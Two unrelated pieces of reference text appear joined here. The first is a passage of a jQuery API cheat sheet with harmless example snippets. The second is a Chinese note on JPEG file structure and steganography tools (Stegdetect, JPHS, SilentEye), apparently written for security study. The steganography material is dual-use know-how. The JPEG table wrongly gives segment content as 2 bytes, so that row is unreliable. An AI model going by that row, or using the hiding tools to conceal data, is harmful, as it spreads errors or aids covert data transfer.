elements to the first in the set."} - [.has()](https://api.jquery.com/has/){data-tooltip="Reduce the set of matched elements to those that have a descendant that matches the selector or DOM element."} - [.is()](https://api.jquery.com/is/){data-tooltip="Check the current matched set of elements against a selector, element, or jQuery object and return true if at least one of these elements matches the given arguments."} - [.last()](https://api.jquery.com/last/){data-tooltip="Reduce the set of matched elements to the final one in the set."} - [.map()](https://api.jquery.com/map/){data-tooltip="Pass each element in the current matched set through a function, producing a new jQuery object containing the return values."} - [.not()](https://api.jquery.com/not/){data-tooltip="Remove elements from the set of matched elements."} - [.slice()](https://api.jquery.com/slice/){data-tooltip="Reduce the set of matched elements to a subset specified by a range of indices."} {.marker-none .cols-3} ### Miscellaneous Traversing - [.add()](https://api.jquery.com/add/){data-tooltip="Create a new jQuery object with elements added to the set of matched elements."} - [.addBack()](https://api.jquery.com/addBack/){data-tooltip="Add the previous set of elements on the stack to the current set, optionally filtered by a selector."} - [.andSelf()](https://api.jquery.com/andSelf/){data-tooltip="Add the previous set of elements on the stack to the current set."} - [.contents()](https://api.jquery.com/contents/){data-tooltip="Get the children of each element in the set of matched elements, including text and comment nodes."} - [.each()](https://api.jquery.com/each/){data-tooltip="Iterate over a jQuery object, executing a function for each matched element. "} - [.end()](https://api.jquery.com/end/){data-tooltip="End the most recent filtering operation in the current chain and return the set of matched elements to its previous state."} {.marker-none .cols-3} ### Tree Traversal - [.children()](https://api.jquery.com/children/){data-tooltip="Get the children of each element in the set of matched elements, optionally filtered by a selector."} - [.closest()](https://api.jquery.com/closest/){data-tooltip="For each element in the set, get the first element that matches the selector by testing the element itself and traversing up through its ancestors in the DOM tree."} - [.find()](https://api.jquery.com/find/){data-tooltip="Get the descendants of each element in the current set of matched elements, filtered by a selector, jQuery object, or element."} - [.next()](https://api.jquery.com/next/){data-tooltip="Get the immediately following sibling of each element in the set of matched elements. If a selector is provided, it retrieves the next sibling only if it matches that selector."} - [.nextAll()](https://api.jquery.com/nextAll/){data-tooltip="Get all following siblings of each element in the set of matched elements, optionally filtered by a selector."} - [.nextUntil()](https://api.jquery.com/nextUntil/){data-tooltip="Get all following siblings of each element up to but not including the element matched by the selector, DOM node, or jQuery object passed."} - [.parent()](https://api.jquery.com/parent/){data-tooltip="Get the parent of each element in the current set of matched elements, optionally filtered by a selector."} - [.parents()](https://api.jquery.com/parents/){data-tooltip="Get the ancestors of each element in the current set of matched elements, optionally filtered by a selector."} - [.parentsUntil()](https://api.jquery.com/parentsUntil/){data-tooltip="Get the ancestors of each element in the current set of matched elements, up to but not including the element matched by the selector, DOM node, or jQuery object."} - [.prev()](https://api.jquery.com/prev/){data-tooltip="Get the immediately preceding sibling of each element in the set of matched elements. If a selector is provided, it retrieves the previous sibling only if it matches that selector."} - [.prevAll()](https://api.jquery.com/prevAll/){data-tooltip="Get all preceding siblings of each element in the set of matched elements, optionally filtered by a selector."} - [.prevUntil()](https://api.jquery.com/prevUntil/){data-tooltip="Get all preceding siblings of each element up to but not including the element matched by the selector, DOM node, or jQuery object."} - [.siblings()](https://api.jquery.com/siblings/){data-tooltip="Get the siblings of each element in the set of matched elements, optionally filtered by a selector."} {.marker-none .cols-3} jQuery Events ------------ ### Examples {.secondary .row-span-6} ```javascript // A mouse event 'click' $('#menu-button').on('click', () => { $('#menu').show(); }); // A keyboard event 'keyup' $('#textbox').on('keyup', () => { $('#menu').show(); }); // A scroll event 'scroll' $('#menu-button').on('scroll', () => { $('#menu').show(); }); ``` #### Event object ```javascript $('#menu').on('click', event => { $(event.currentTarget).hide(); }); ``` #### Method chaining ```javascript $('#menu-btn').on('mouseenter', () => { $('#menu').show(); }).on('mouseleave', () => { $('#menu').hide(); }); ``` #### Prevents the event ```javascript $( "p" ).click(function( event ) { event.stopPropagation(); // Do something }); ``` ### Browser Events - [.error()](https://api.jquery.com/error/){data-tooltip="Bind an event handler to the error JavaScript event."} - [.resize()](https://api.jquery.com/resize/){data-tooltip="Bind an event handler to the resize JavaScript event, or trigger that event on an element."} - [.scroll()](https://api.jquery.com/scroll/){data-tooltip="Bind an event handler to the scroll JavaScript event, or trigger that event on an element."} {.marker-none .cols-3} ### Event Object {.row-span-6} - [event.currentTarget](https://api.jquery.com/event.currentTarget/){data-tooltip=" The current DOM element within the event bubbling phase. "} - [event.delegateTarget](https://api.jquery.com/event.delegateTarget/){data-tooltip="The element where the currently-called jQuery event handler was attached."} - [event.data](https://api.jquery.com/event.data/){data-tooltip="An optional object of data passed to an event method when the current executing handler is bound. "} - [event.isDefaultPrevented()](https://api.jquery.com/event.isDefaultPrevented/){data-tooltip="Returns whether event.preventDefault() was ever called on this event object. "} - [event.isImmediatePropagationStopped()](https://api.jquery.com/event.isImmediatePropagationStopped/){data-tooltip=" Returns whether event.stopImmediatePropagation() was ever called on this event object. "} - [event.isPropagationStopped()](https://api.jquery.com/event.isPropagationStopped/){data-tooltip=" Returns whether event.stopPropagation() was ever called on this event object. "} - [event.metaKey](https://api.jquery.com/event.metaKey/){data-tooltip="Indicates whether the META key was pressed when the event fired."} - [event.namespace](https://api.jquery.com/event.namespace/){data-tooltip="The namespace specified when the event was triggered."} - [event.pageX](https://api.jquery.com/event.pageX/){data-tooltip="The mouse position relative to the left edge of the document."} - [event.pageY](https://api.jquery.com/event.pageY/){data-tooltip="The mouse position relative to the top edge of the document."} - [event.preventDefault()](https://api.jquery.com/event.preventDefault/){data-tooltip="If this method is called, the default action of the event will not be triggered."} - [event.relatedTarget](https://api.jquery.com/event.relatedTarget/){data-tooltip="The other DOM element involved in the event, if any."} - [event.result](https://api.jquery.com/event.result/){data-tooltip="The last value returned by an event handler that was triggered by this event, unless the value was undefined."} - [event.stopImmediatePropagation()](https://api.jquery.com/event.stopImmediatePropagation/){data-tooltip="Keeps the rest of the handlers from being executed and prevents the event from bubbling up the DOM tree."} - [event.stopPropagation()](https://api.jquery.com/event.stopPropagation/){data-tooltip="Prevents the event from bubbling up the DOM tree, preventing any parent handlers from being notified of the event."} - [event.target](https://api.jquery.com/event.target/){data-tooltip=" The DOM element that initiated the event. "} - [event.timeStamp](https://api.jquery.com/event.timeStamp/){data-tooltip="The difference in milliseconds between the time the browser created the event and January 1, 1970."} - [event.type](https://api.jquery.com/event.type/){data-tooltip="Describes the nature of the event."} - [event.which](https://api.jquery.com/event.which/){data-tooltip="For key or mouse events, this property indicates the specific key or button that was pressed."} {.marker-none .cols-1} ### Document Loading - [.load()](https://api.jquery.com/load-event/){data-tooltip="Bind an event handler to the load JavaScript event."} - [.ready()](https://api.jquery.com/ready/){data-tooltip="Specify a function to execute when the DOM is fully loaded."} - [.unload()](https://api.jquery.com/unload/){data-tooltip="Bind an event handler to the unload JavaScript event."} {.marker-none .cols-3} ### Event Handler Attachment - [.bind()](https://api.jquery.com/bind/){data-tooltip="Attach a handler to an event for the elements."} - [.delegate()](https://api.jquery.com/delegate/){data-tooltip="Attach a handler to one or more events for all elements that match the selector, now or in the future, based on a specific set of root elements."} - [.die()](https://api.jquery.com/die/){data-tooltip="Remove event handlers previously attached using .live() from the elements."} - [.live()](https://api.jquery.com/live/){data-tooltip="Attach an event handler for all elements which match the current selector, now and in the future."} - [.off()](https://api.jquery.com/off/){data-tooltip="Remove an event handler."} - [.on()](https://api.jquery.com/on/){data-tooltip="Attach an event handler function for one or more events to the selected elements."} - [.one()](https://api.jquery.com/one/){data-tooltip="Attach a handler to an event for the elements. The handler is executed at most once per element per event type."} - [.trigger()](https://api.jquery.com/trigger/){data-tooltip="Execute all handlers and behaviors attached to the matched elements for the given event type."} - [.triggerHandler()](https://api.jquery.com/triggerHandler/){data-tooltip="Execute all handlers attached to an element for an event."} - [.unbind()](https://api.jquery.com/unbind/){data-tooltip="Remove a previously-attached event handler from the elements."} - [.undelegate()](https://api.jquery.com/undelegate/){data-tooltip="Remove a handler from the event for all elements which match the current selector, based upon a specific set of root elements."} {.marker-none .cols-3} ### Form Events - [.blur()](https://api.jquery.com/blur/){data-tooltip="Bind an event handler to the blur JavaScript event, or trigger that event on an element."} - [.change()](https://api.jquery.com/change/){data-tooltip="Bind an event handler to the change JavaScript event, or trigger that event on an element."} - [.focus()](https://api.jquery.com/focus/){data-tooltip="Bind an event handler to the focus JavaScript event, or trigger that event on an element."} - [.focusin()](https://api.jquery.com/focusin/){data-tooltip="Bind an event handler to the focusin event."} - [.focusout()](https://api.jquery.com/focusout/){data-tooltip="Bind an event handler to the focusout JavaScript event."} - [.select()](https://api.jquery.com/select/){data-tooltip="Bind an event handler to the select JavaScript event, or trigger that event on an element."} - [.submit()](https://api.jquery.com/submit/){data-tooltip="Bind an event handler to the submit JavaScript event, or trigger that event on an element."} {.marker-none .cols-3} ### Keyboard Events - [.keydown()](https://api.jquery.com/keydown/){data-tooltip="Bind an event handler to the keydown JavaScript event, or trigger that event on an element."} - [.keypress()](https://api.jquery.com/keypress/){data-tooltip="Bind an event handler to the keypress JavaScript event, or trigger that event on an element."} - [.keyup()](https://api.jquery.com/keyup/){data-tooltip="Bind an event handler to the keyup JavaScript event, or trigger that event on an element."} {.marker-none .cols-3} ### Mouse Events - [.click()](https://api.jquery.com/click/){data-tooltip="Bind an event handler to the click JavaScript event, or trigger that event on an element."} - [.contextMenu()](https://api.jquery.com/contextmenu/){data-tooltip="Bind an event handler to the contextmenu JavaScript event, or trigger that event on an element."} - [.dblclick()](https://api.jquery.com/dblclick/){data-tooltip="Bind an event handler to the dblclick JavaScript event, or trigger that event on an element."} - [.hover()](https://api.jquery.com/hover/){data-tooltip="Bind two handlers to the matched elements, to be executed when the mouse pointer enters and leaves the elements."} - [.mousedown()](https://api.jquery.com/mousedown/){data-tooltip="Bind an event handler to the mousedown JavaScript event, or trigger that event on an element."} - [.mouseenter()](https://api.jquery.com/mouseenter/){data-tooltip="Bind an event handler to be fired when the mouse enters an element, or trigger that handler on an element."} - [.mouseleave()](https://api.jquery.com/mouseleave/){data-tooltip="Bind an event handler to be fired when the mouse leaves an element, or trigger that handler on an element."} - [.mousemove()](https://api.jquery.com/mousemove/){data-tooltip="Bind an event handler to the mousemove JavaScript event, or trigger that event on an element."} - [.mouseout()](https://api.jquery.com/mouseout/){data-tooltip="Bind an event handler to the mouseout JavaScript event, or trigger that event on an element."} - [.mouseover()](https://api.jquery.com/mouseover/){data-tooltip="Bind an event handler to the mouseover JavaScript event, or trigger that event on an element."} - [.mouseup()](https://api.jquery.com/mouseup/){data-tooltip="Bind an event handler to the mouseup JavaScript event, or trigger that event on an element."} - [.toggle()](https://api.jquery.com/toggle-event/){data-tooltip="Bind two or more handlers to the matched elements, to be executed on alternate clicks."} {.marker-none .cols-3} jQuery Effects ------------ ### Examples {.secondary .row-span-2} ```javascript $('#menu-button').on('click', () => { // $('#menu').fadeIn(400, 'swing') $('#menu').fadeIn(); }); ``` #### fadeOut effect ```javascript $('#menu-button').on('click', () => { // $('#menu').fadeOut(400, 'swing') $('#menu').fadeOut(); }); ``` ### Basics - [.hide()](https://api.jquery.com/hide/){data-tooltip="Hide the matched elements."} - [.show()](https://api.jquery.com/show/){data-tooltip="Display the matched elements."} - [.toggle()](https://api.jquery.com/toggle/){data-tooltip="Display or hide the matched elements."} {.marker-none .cols-3} ### Sliding - [.slideDown()](https://api.jquery.com/slideDown/){data-tooltip="Display the matched elements with a sliding motion."} - [.slideToggle()](https://api.jquery.com/slideToggle/){data-tooltip="Display or hide the matched elements with a sliding motion."} - [.slideUp()](https://api.jquery.com/slideUp/){data-tooltip="Hide the matched elements with a sliding motion."} {.marker-none .cols-3} ### Custom - [.animate()](https://api.jquery.com/animate/){data-tooltip="Perform a custom animation of a set of CSS properties."} - [.clearQueue()](https://api.jquery.com/clearQueue/){data-tooltip="Remove from the queue all items that have not yet been run."} - [.delay()](https://api.jquery.com/delay/){data-tooltip="Set a timer to delay execution of subsequent items in the queue."} - [.dequeue()](https://api.jquery.com/dequeue/){data-tooltip="Execute the next function on the queue for the matched elements."} - [jQuery.dequeue()](https://api.jquery.com/jQuery.dequeue/){data-tooltip="Execute the next function on the queue for the matched element."} - [.finish()](https://api.jquery.com/finish/){data-tooltip="Stop the currently-running animation, remove all queued animations, and complete all animations for the matched elements."} - [jQuery.fx.interval](https://api.jquery.com/jQuery.fx.interval/){data-tooltip="The rate (in milliseconds) at which animations fire."} - [jQuery.fx.off](https://api.jquery.com/jQuery.fx.off/){data-tooltip="Globally disable all animations."} - [jQuery.speed](https://api.jquery.com/jQuery.speed/){data-tooltip="Creates an object containing a set of properties ready to be used in the definition of custom animations."} - [.queue()](https://api.jquery.com/queue/){data-tooltip="Show the queue of functions to be executed on the matched elements."} - [jQuery.queue()](https://api.jquery.com/jQuery.queue/){data-tooltip="Show the queue of functions to be executed on the matched element."} - [.stop()](https://api.jquery.com/stop/){data-tooltip="Stop the currently-running animation on the matched elements."} {.marker-none .cols-3} ### Fading - [.fadeIn()](https://api.jquery.com/fadeIn/){data-tooltip="Display the matched elements by fading them to opaque."} - [.fadeOut()](https://api.jquery.com/fadeOut/){data-tooltip="Hide the matched elements by fading them to transparent."} - [.fadeTo()](https://api.jquery.com/fadeTo/){data-tooltip="Adjust the opacity of the matched elements."} - [.fadeToggle()](https://api.jquery.com/fadeToggle/){data-tooltip="Display or hide the matched elements by animating their opacity."} {.marker-none .cols-3} jQuery Ajax ------------ ### Examples {.secondary .row-span-2} ```javascript $.ajax({ url: this.action, type: this.method, data: $(this).serialize() }).done(function(server_data){ console.log("success" + server_data); }).fail(function(jqXHR, status, err){ console.log("fail" + err); }); ``` ### Global Ajax Event Handlers - [.ajaxComplete()](https://api.jquery.com/ajaxComplete/){data-tooltip="Register a handler to be called when Ajax requests complete. This is an AjaxEvent."} - [.ajaxError()](https://api.jquery.com/ajaxError/){data-tooltip="Register a handler to be called when Ajax requests complete with an error. This is an Ajax Event."} - [.ajaxSend()](https://api.jquery.com/ajaxSend/){data-tooltip="Attach a function to be executed before an Ajax request is sent. This is an Ajax Event."} - [.ajaxStart()](https://api.jquery.com/ajaxStart/){data-tooltip="Register a handler to be called when the first Ajax request begins. This is an Ajax Event."} - [.ajaxStop()](https://api.jquery.com/ajaxStop/){data-tooltip="Register a handler to be called when all Ajax requests have completed. This is an Ajax Event."} - [.ajaxSuccess()](https://api.jquery.com/ajaxSuccess/){data-tooltip="Attach a function to be executed whenever an Ajax request completes successfully. This is an Ajax Event."} {.marker-none .cols-2} ### Helper Functions - [jQuery.param()](https://api.jquery.com/jQuery.param/){data-tooltip="Create a serialized representation of an array, a plain object, or a jQuery object suitable for use in a URL query string or Ajax request. In case a jQuery object is passed, it should contain input elements with name/value properties."} - [.serialize()](https://api.jquery.com/serialize/){data-tooltip="Encode a set of form elements as a string for submission."} - [.serializeArray()](https://api.jquery.com/serializeArray/){data-tooltip="Encode a set of form elements as an array of names and values."} {.marker-none .cols-2} ### Low-Level Interface - [jQuery.ajax()](https://api.jquery.com/jQuery.ajax/){data-tooltip="Perform an asynchronous HTTP (Ajax) request."} - [jQuery.prefilter()](https://api.jquery.com/jQuery.ajaxPrefilter/){data-tooltip="Handle custom Ajax options or modify existing options before each request is sent and before they are processed by $.ajax()."} - [jQuery.ajaxSetup()](https://api.jquery.com/jQuery.ajaxSetup/){data-tooltip="Set default values for future Ajax requests. Its use is not recommended."} - [jQuery.ajaxTransport()](https://api.jquery.com/jQuery.ajaxTransport/){data-tooltip="Creates an object that handles the actual transmission of Ajax data."} {.marker-none .cols-2} ### Shorthand Methods - [jQuery.get()](https://api.jquery.com/jQuery.get/){data-tooltip="Load data from the server using a HTTP GET request."} - [jQuery.getJSON()](https://api.jquery.com/jQuery.getJSON/){data-tooltip="Load JSON-encoded data from the server using a GET HTTP request."} - [jQuery.getScript()](https://api.jquery.com/jQuery.getScript/){data-tooltip="Load a JavaScript file from the server using a GET HTTP request, then execute it."} - [jQuery.post()](https://api.jquery.com/jQuery.post/){data-tooltip="Send data to the server using a HTTP POST request."} - [.load()](https://api.jquery.com/load/){data-tooltip="Load data from the server and place the returned HTML into the matched elements."} {.marker-none .cols-2} Miscellaneous ------------ ### jQuery Object - [jQuery()](https://api.jquery.com/jQuery/){data-tooltip="Accepts a string containing a CSS selector which is then used to match a set of elements."} - [jQuery.noConflict()](https://api.jquery.com/jQuery.noConflict/){data-tooltip="Relinquish jQuery&apos;s control of the $ variable."} - [jQuery.sub()](https://api.jquery.com/jQuery.sub/){data-tooltip="Creates a new copy of jQuery whose properties and methods can be modified without affecting the original jQuery object."} - [jQuery.holdReady()](https://api.jquery.com/jQuery.holdReady/){data-tooltip="Holds or releases the execution of jQuery&apos;s ready event."} - [jQuery.when()](https://api.jquery.com/jQuery.when/){data-tooltip="Provides a way to execute callback functions based on zero or more Thenable objects, usually Deferred objects that represent asynchronous events."} {.marker-none .cols-2} ### Deferred Object {.row-span-2} - [jQuery.Deferred()](https://api.jquery.com/jQuery.Deferred/){data-tooltip=" A factory function that returns a chainable utility object with methods to register multiple callbacks into callback queues, invoke callback queues, and relay the success or failure state of any synchronous or asynchronous function."} - [deferred.always()](https://api.jquery.com/deferred.always/){data-tooltip=" Add handlers to be called when the Deferred object is either resolved or rejected. "} - [deferred.done()](https://api.jquery.com/deferred.done/){data-tooltip=" Add handlers to be called when the Deferred object is resolved. "} - [deferred.fail()](https://api.jquery.com/deferred.fail/){data-tooltip=" Add handlers to be called when the Deferred object is rejected. "} - [deferred.isRejected()](https://api.jquery.com/deferred.isRejected/){data-tooltip=" Determine whether a Deferred object has been rejected. "} - [deferred.isResolved()](https://api.jquery.com/deferred.isResolved/){data-tooltip=" Determine whether a Deferred object has been resolved. "} - [deferred.notify()](https://api.jquery.com/deferred.notify/){data-tooltip=" Call the progressCallbacks on a Deferred object with the given args. "} - [deferred.notifyWith()](https://api.jquery.com/deferred.notifyWith/){data-tooltip=" Call the progressCallbacks on a Deferred object with the given context and args. "} - [deferred.pipe()](https://api.jquery.com/deferred.pipe/){data-tooltip=" Utility method to filter and/or chain Deferreds. "} - [deferred.progress()](https://api.jquery.com/deferred.progress/){data-tooltip=" Add handlers to be called when the Deferred object generates progress notifications."} - [deferred.promise()](https://api.jquery.com/deferred.promise/){data-tooltip=" Return a Deferred&apos;s Promise object. "} - [deferred.reject()](https://api.jquery.com/deferred.reject/){data-tooltip=" Reject a Deferred object and call any failCallbacks with the given args. "} - [deferred.rejectWith()](https://api.jquery.com/deferred.rejectWith/){data-tooltip=" Reject a Deferred object and call any failCallbacks with the given context and args. "} - [deferred.resolve()](https://api.jquery.com/deferred.resolve/){data-tooltip=" Resolve a Deferred object and call any doneCallbacks with the given args. "} - [deferred.resolveWith()](https://api.jquery.com/deferred.resolveWith/){data-tooltip=" Resolve a Deferred object and call any doneCallbacks with the given context and args. "} - [deferred.state()](https://api.jquery.com/deferred.state/){data-tooltip="Determine the current state of a Deferred object. "} - [deferred.then()](https://api.jquery.com/deferred.then/){data-tooltip="Add handlers to be called when the Deferred object is resolved, rejected, or still in progress. "} - [.promise()](https://api.jquery.com/promise/){data-tooltip=" Return a Promise object to observe when all actions of a certain type bound to the collection, queued or not, have finished. "} {.marker-none .cols-2} ### Utilities {.row-span-3} - [jQuery.boxModel](https://api.jquery.com/jQuery.boxModel/){data-tooltip="States if the current page, in the user&apos;s browser, is being rendered using the W3C CSS Box Model."} - [jQuery.browser](https://api.jquery.com/jQuery.browser/){data-tooltip="Contains flags for the useragent, read from navigator.userAgent. This property was removed in jQuery 1.9 and is available only through the jQuery.migrate plugin. Please try to use feature detection instead."} - [jQuery.contains()](https://api.jquery.com/jQuery.contains/){data-tooltip="Check to see if a DOM element is a descendant of another DOM element."} - [jQuery.each()](https://api.jquery.com/jQuery.each/){data-tooltip="A generic iterator function, which can be used to seamlessly iterate over both objects and arrays. Arrays and array-like objects with a length property (such as a function&apos;s arguments object) are iterated by numeric index, from 0 to length-1. Other objects are iterated via their named properties."} - [jQuery.extend()](https://api.jquery.com/jQuery.extend/){data-tooltip="Merge the contents of two or more objects together into the first object."} - [jQuery.globalEval()](https://api.jquery.com/jQuery.globalEval/){data-tooltip="Execute some JavaScript code globally."} - [jQuery.grep()](https://api.jquery.com/jQuery.grep/){data-tooltip="Finds the elements of an array which satisfy a filter function. The original array is not affected."} - [jQuery.inArray()](https://api.jquery.com/jQuery.inArray/){data-tooltip="Search for a specified value within an array and return its index (or -1 if not found)."} - [jQuery.isArray()](https://api.jquery.com/jQuery.isArray/){data-tooltip="Determine whether the argument is an array."} - [jQuery.isEmptyObject()](https://api.jquery.com/jQuery.isEmptyObject/){data-tooltip="Check to see if an object is empty (contains no enumerable properties)."} - [jQuery.isFunction()](https://api.jquery.com/jQuery.isFunction/){data-tooltip="Determines if its argument is callable as a function."} - [jQuery.isNumeric()](https://api.jquery.com/jQuery.isNumeric/){data-tooltip="Determines whether its argument represents a JavaScript number."} - [jQuery.isPlainObject()](https://api.jquery.com/jQuery.isPlainObject/){data-tooltip="Check to see if an object is a plain object."} - [jQuery.isWindow()](https://api.jquery.com/jQuery.isWindow/){data-tooltip="Determine whether the argument is a window."} - [jQuery.isXMLDoc()](https://api.jquery.com/jQuery.isXMLDoc/){data-tooltip="Check to see if a DOM node is within an XML document (or is an XML document)."} - [jQuery.makeArray()](https://api.jquery.com/jQuery.makeArray/){data-tooltip="Convert an array-like object into a true JavaScript array."} - [jQuery.map()](https://api.jquery.com/jQuery.map/){data-tooltip="Translate all items in an array or object to new array of items."} - [jQuery.merge()](https://api.jquery.com/jQuery.merge/){data-tooltip="Merge the contents of two arrays together into the first array. "} - [jQuery.noop()](https://api.jquery.com/jQuery.noop/){data-tooltip="An empty function."} - [jQuery.now()](https://api.jquery.com/jQuery.now/){data-tooltip="Return a number representing the current time."} - [jQuery.parseHTML()](https://api.jquery.com/jQuery.parseHTML/){data-tooltip="Parses a string into an array of DOM nodes."} - [jQuery.parseJSON()](https://api.jquery.com/jQuery.parseJSON/){data-tooltip="Takes a well-formed JSON string and returns the resulting JavaScript value."} - [jQuery.parseXML()](https://api.jquery.com/jQuery.parseXML/){data-tooltip="Parses a string into an XML document."} - [jQuery.proxy()](https://api.jquery.com/jQuery.proxy/){data-tooltip="Takes a function and returns a new one that will always have a particular context."} - [jQuery.support](https://api.jquery.com/jQuery.support/){data-tooltip="A collection of properties that represent the presence of different browser features or bugs. Intended for jQuery&apos;s internal use; specific properties may be removed when they are no longer needed internally to improve page startup performance. For your own project&apos;s feature-detection needs, we strongly recommend the use of an external library such as Modernizr instead of dependency on properties in jQuery.support."} - [jQuery.trim()](https://api.jquery.com/jQuery.trim/){data-tooltip="Remove the whitespace from the beginning and end of a string."} - [jQuery.type()](https://api.jquery.com/jQuery.type/){data-tooltip="Determine the internal JavaScript [[Class]] of an object."} - [jQuery.unique()](https://api.jquery.com/jQuery.unique/){data-tooltip="Sorts an array of DOM elements, in place, with the duplicates removed. Note that this only works on arrays of DOM elements, not strings or numbers."} - [jQuery.uniqueSort()](https://api.jquery.com/jQuery.uniqueSort/){data-tooltip="Sorts an array of DOM elements, in place, with the duplicates removed. Note that this only works on arrays of DOM elements, not strings or numbers."} {.marker-none .cols-2} ### DOM Element Methods - [.get()](https://api.jquery.com/get/){data-tooltip="Retrieve one of the elements matched by the jQuery object."} - [.index()](https://api.jquery.com/index/){data-tooltip="Search for a given element from among the matched elements."} - [.size()](https://api.jquery.com/size/){data-tooltip="Return the number of elements in the jQuery object."} - [.toArray()](https://api.jquery.com/toArray/){data-tooltip="Retrieve all the elements contained in the jQuery set, as an array."} {.marker-none .cols-2} ### Internals - [.jquery](https://api.jquery.com/jquery-2/){data-tooltip="A string containing the jQuery version number."} - [.context](https://api.jquery.com/context/){data-tooltip="The DOM node context originally passed to jQuery(); if none was passed then context will likely be the document."} - [jQuery.error()](https://api.jquery.com/jQuery.error/){data-tooltip="Takes a string and throws an exception containing it."} - [.length](https://api.jquery.com/length/){data-tooltip="The number of elements in the jQuery object."} - [.pushStack()](https://api.jquery.com/pushStack/){data-tooltip="Add a collection of DOM elements onto the jQuery stack."} - [.selector](https://api.jquery.com/selector/){data-tooltip="A selector representing selector passed to jQuery(), if any, when creating the original set."} {.marker-none .cols-2} ### Callbacks Object - [jQuery.Callbacks()](https://api.jquery.com/jQuery.Callbacks/){data-tooltip="A multi-purpose callbacks list object that provides a powerful way to manage callback lists."} - [callbacks.add()](https://api.jquery.com/callbacks.add/){data-tooltip="Add a callback or a collection of callbacks to a callback list."} - [callbacks.disable()](https://api.jquery.com/callbacks.disable/){data-tooltip="Disable a callback list from doing anything more."} - [callbacks.disabled()](https://api.jquery.com/callbacks.disabled/){data-tooltip="Determine if the callbacks list has been disabled."} - [callbacks.empty()](https://api.jquery.com/callbacks.empty/){data-tooltip="Remove all of the callbacks from a list."} - [callbacks.fire()](https://api.jquery.com/callbacks.fire/){data-tooltip="Call all of the callbacks with the given arguments."} - [callbacks.fired()](https://api.jquery.com/callbacks.fired/){data-tooltip="Determine if the callbacks have already been called at least once."} - [callbacks.fireWith()](https://api.jquery.com/callbacks.fireWith/){data-tooltip="Call all callbacks in a list with the given context and arguments."} - [callbacks.has()](https://api.jquery.com/callbacks.has/){data-tooltip="Determine whether or not the list has any callbacks attached. If a callback is provided as an argument, determine whether it is in a list."} - [callbacks.lock()](https://api.jquery.com/callbacks.lock/){data-tooltip="Lock a callback list in its current state."} - [callbacks.locked()](https://api.jquery.com/callbacks.locked/){data-tooltip="Determine if the callbacks list has been locked."} - [callbacks.remove()](https://api.jquery.com/callbacks.remove/){data-tooltip="Remove a callback or a collection of callbacks from a callback list."} {.marker-none .cols-2}
sec-knowleage
### JPG文件结构 - JPEG 是有损压缩格式,将像素信息用 JPEG 保存成文件再读取出来,其中某些像素值会有少许变化。在保存时有个质量参数可在 0 至 100 之间选择,参数越大图片就越保真,但图片的体积也就越大。一般情况下选择 70 或 80 就足够了 - JPEG 没有透明度信息 JPG 基本数据结构为两大类型:「段」和经过压缩编码的图像数据。 | 名 称 | 字节数 | 数据 | 说明 | | ------- | ------ | ---- | ------------------------------------------- | | 段 标识 | 1 | FF | 每个新段的开始标识 | | 段类型 | 1 | | 类型编码(称作标记码) | | 段长 度 | 2 | | 包括段内容和段长度本身,不包括段标识和段类型 | | 段内容 | 2 | | ≤65533字节 | - 有些段没有长度描述也没有内容,只有段标识和段类型。文件头和文件尾均属于这种段。 - 段与段之间无论有多少 `FF` 都是合法的,这些 `FF` 称为「填充字节」,必须被忽略掉。 `0xffd8` 和 `0xffd9`为 JPG 文件的开始结束的标志。 ### JPG隐写软件[Stegdetect](https://github.com/redNixon/stegdetect)介绍 通过统计分析技术评估 JPEG 文件的 DCT 频率系数的隐写工具, 可以检测到通过 JSteg、JPHide、OutGuess、Invisible Secrets、F5、appendX 和 Camouflage 等这些隐写工具隐藏的信息,并且还具有基于字典暴力破解密码方法提取通过 Jphide、outguess 和 jsteg-shell 方式嵌入的隐藏信息。 ```shell -q 仅显示可能包含隐藏内容的图像。 -n 启用检查JPEG文件头功能,以降低误报率。如果启用,所有带有批注区域的文件将被视为没有被嵌入信息。如果JPEG文件的JFIF标识符中的版本号不是1.1,则禁用OutGuess检测。 -s 修改检测算法的敏感度,该值的默认值为1。检测结果的匹配度与检测算法的敏感度成正比,算法敏感度的值越大,检测出的可疑文件包含敏感信息的可能性越大。 -d 打印带行号的调试信息。 -t 设置要检测哪些隐写工具(默认检测jopi),可设置的选项如下: j 检测图像中的信息是否是用jsteg嵌入的。 o 检测图像中的信息是否是用outguess嵌入的。 p 检测图像中的信息是否是用jphide嵌入的。 i 检测图像中的信息是否是用invisible secrets嵌入的。 ``` ### JPG隐写软件[JPHS](http://linux01.gwdg.de/~alatham/stego.html)介绍 JPEG 图像的信息隐藏软件 JPHS,它是由 Allan Latham 开发设计实现在 Windows 和 Linux 系统平台针对有损压缩 JPEG 文件进行信息加密隐藏和探测提取的工具。软件里面主要包含了两个程序 JPHIDE和 JPSEEK。JPHIDE 程序主要是实现将信息文件加密隐藏到 JPEG 图像功能,而 JPSEEK 程序主要实现从用 JPHIDE 程序加密隐藏得到的 JPEG 图像探测提取信息文件,Windows 版本的 JPHS 里的 JPHSWIN 程序具有图形化操作界面且具备 JPHIDE 和 JPSEEK 的功能。 ### JPG隐写软件[SilentEye](http://silenteye.v1kings.io/)介绍 > SilentEye is a cross-platform application design for an easy use of steganography, in this case hiding messages into pictures or sounds. It provides a pretty nice interface and an easy integration of new steganography algorithm and cryptography process by using a plug-ins system.
sec-knowleage
